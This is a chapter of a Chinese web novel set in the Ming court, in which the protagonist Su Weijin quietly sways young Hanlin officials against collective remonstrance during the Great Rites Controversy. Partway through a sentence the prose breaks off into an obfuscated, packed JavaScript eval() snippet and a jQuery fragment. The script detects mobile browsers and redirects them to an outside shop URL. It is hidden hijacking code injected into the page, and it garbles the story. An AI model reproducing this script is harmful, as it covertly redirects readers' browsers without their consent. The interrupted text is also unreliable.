翰林院的日子，
并非终日埋首故纸堆。
旬日之间，总有那么几次，
散值之后的闲暇时光，
一些年轻的编修、检讨、庶吉士，
会相约聚于附近茶馆雅间，
或某位家境稍裕的同僚租住的小院，
煮茶论道，清谈交游。
这既是文人雅趣，
亦是官场人际必不可少的润滑。
往日里，苏惟瑾对此类活动敬而远之，
多以“学业未精，需潜心攻读”推脱。
但自定下“借势引导”之策后，
他开始有选择地参与其中一些层次较低、
参与者多为新晋官员、尚未有明确派系色彩的聚会。
这一日，休沐之期，阳光正好。
五六位年轻的翰林官聚在城南一家清静茶馆的临窗隔间内。
茶水氤氲，几碟精致茶点置于中央，
气氛轻松融洽。
话题天南地北，从近日邸报趣闻，
渐渐又绕不开地滑向了朝堂焦点——“大礼议”。
一位姓钱的庶吉士叹了口气，
面带忧色：
“听闻昨日又有几位科道官联名上疏，
言辞激烈，痛陈利害，
请求陛下收回成命，
仍以孝宗为皇考。
陛下留中不发，怕是…心中不豫啊。”
旁边一位李姓编修接口道：
“此乃臣子本分，尽忠直言罢了。
关乎祖宗法度、朝廷礼法，岂能缄默？
纵使触怒天颜，亦是我辈读书人气节所在！”
他语气颇为激昂，带着年轻人特有的热血。
席间几人纷纷点头，显然对此论调颇有共鸣。
唯有苏惟瑾，慢条斯理地拈起一块绿豆糕，
细嚼慢咽，仿似并未沉浸在这略显沉重的氛围中。
待众人目光偶然落在他身上，
他才放下茶盏，微微一笑，
语气平和得像是在讨论茶水温凉：
“诸位年兄所言甚是，
气节固然重要。
只是…惟瑾近日偶读些杂书，忽有所感。”
他顿了顿，成功吸引了所有人的注意。
状元公的“偶有所感”，通常都非比寻常。
“不知各位可曾留意，”
苏惟瑾目光扫过众人，
声音不高却清晰。
“世间之事，凡众人**，
情绪互为感染，其言论主张，
往往趋于极端，非黑即白，
较之独处深思时，更为激烈偏颇？
古语云‘众口铄金’，‘三人成虎’，
或许并非全然指谗言，
亦有此种群体相互激荡、
偏离本心之理？”
他巧妙地将现代社会学、
心理学中的“群体极化”、
“信息茧房”概念，
用全然符合这个时代认知方式的古语和现象描述包装起来。
几位年轻官员闻言一怔，
细细品味，似乎确有此理。
苏惟瑾继续道，
一副只是在做纯粹的学理探讨的样子：
“譬如这谏诤之事。
单独一二人，或可冷静陈述利弊，言辞恳切。
然若数十上百人齐聚一堂，群情汹涌，
相互砥砺，其时所言所行，恐已非尽为初衷，
或为激昂气氛所裹挟，或为不甘人后之声势…
其行虽曰忠谏，其态却近乎…逼压。”
他轻轻吐出“逼压”二字，
如同在平静湖面投下一颗石子。
众人脸色微变。
李编修下意识想反驳，
但张了张嘴，却发现对方并非直接反对谏诤，
而是在分析一种“现象”，
且言之凿凿，似乎颇有道理。
“苏修撰此言…倒也别致。”
钱庶吉士沉吟道。
“细想来，似确有此弊。
若只为声势，失了从容说理的本心，
反易激化矛盾，于事无补，亦有损朝臣体统。”
“正是此理。”
苏惟瑾颔首，顺势引导。
“圣上聪慧英明，非不能纳谏之主。
然纵是明君，亦有其威严。
若觉臣子非以理服人，
而以势相迫，其心若能愉悦？
其反应，恐更趋强硬。
如此一来，非但无助于解决问题，
反将善意的谏诤，推至君父的对立面，
岂非南辕北辙，辜负了诸位一片忠君爱国之心？”
他一番话，滴水不漏。
既未直接否定“大礼议”中反对皇帝的一方，
甚至承认其初衷可能是“忠君爱国”，
却从“方**”和“效果”的角度，
指出了这种集体激烈谏诤可能存在的巨大风险
——即被皇帝视为“逼宫”，
从而彻底激怒皇帝，
导致事情走向不可收拾的境地。
这种角度，对这些尚未被官场老油条思维完全浸染的年轻官员来说，
极其新颖，且具有相当的说服力。
他们开始反思：
一味地跟着大伙儿一起磕头死谏，
真的是最好的办法吗？
会不会反而坏事？
李编修脸上的激昂褪去，
换上了思索之色：
“照玉衡兄这么说，难道就…就不谏了？”
“非是不谏。”
苏惟瑾从容道。
“谏亦有道。
如何既能阐明立场，又不失臣子之礼，
不触人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711794|186215||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主之逆鳞，以理服人而非以势压人，
此方显真本事，真学问，亦是对圣上最大的尊重与忠诚。
譬如治病，猛药或能一时奏效，却易伤及根本；
温和调理，看似缓慢，或更能除根固元。”
他巧妙地将话题引申开，
不再具体针对当前事件，
而是上升到“君臣相处之道”、
“谏诤艺术”的层面，
显得更加超脱和高屋建瓴。
这场小范围内的清谈，
并未得出任何具体结论，
但一颗种子已经悄然种下。
这些年轻官员离开时，
脑子里或多或少都盘旋着苏惟瑾那套“群体易极端”、
“谏诤忌逼压”、
“要讲方法重效果”的新奇观点。
此后几次类似的聚会，
苏惟瑾总会“不经意”地深化这一套理论。
他不再需要自己直接抛出，
只需在有人提及相关话题时，
轻轻点拨一两句，
自然会有被他说服过的同僚，
将他的观点扩散出去。
“听闻苏状元说，集体跪谏，
看似壮烈，实则将道理之争变为了意气之争…”
“玉衡兄曾言，圣人亦云‘过犹不及’，
劝谏若过了度，反失其正…”
“逼宫之嫌，确需警惕啊…”
一种微妙的声音，
开始在小范围的年轻官员圈层中悄然流转。
它不像张璁、桂萼的文章那般赤裸裸地鼓吹帝意，
也不像传统清流那般激烈反对。
它显得更冷静，更“理性”，
更侧重于“方法”和“后果”的担忧，
无形中消解着集体死谏的合法性与正义性。
超频大脑精准地操控着**的微澜。
苏惟瑾深知，
真正决定性的力量仍在高堂之上，
但这些底层的声音，
这种逐渐弥漫开来的疑虑，
在未来某个关键时刻，
或能影响少数人的选择，
或能成为皇帝用以指责反对派的“民间”依据。
他如同一只精心结网的蜘蛛，
于无声处，悄然引导着思想的流向。
每一次看似随意的谈话，
都是落在网上的微尘，
积少成多，终有一日，
会显露出足以缠绕猎物的轨迹。
而这一切，都包裹在他那温和谦逊、
勤勉好学的状元郎外壳之下，
无人察觉这场悄无声息的“微操”。
唯有他眼底深处，
偶尔掠过的一丝洞察一切的光芒，
预示着一场更大的风波，
正在这看似平和的清谈中，悄然酝酿。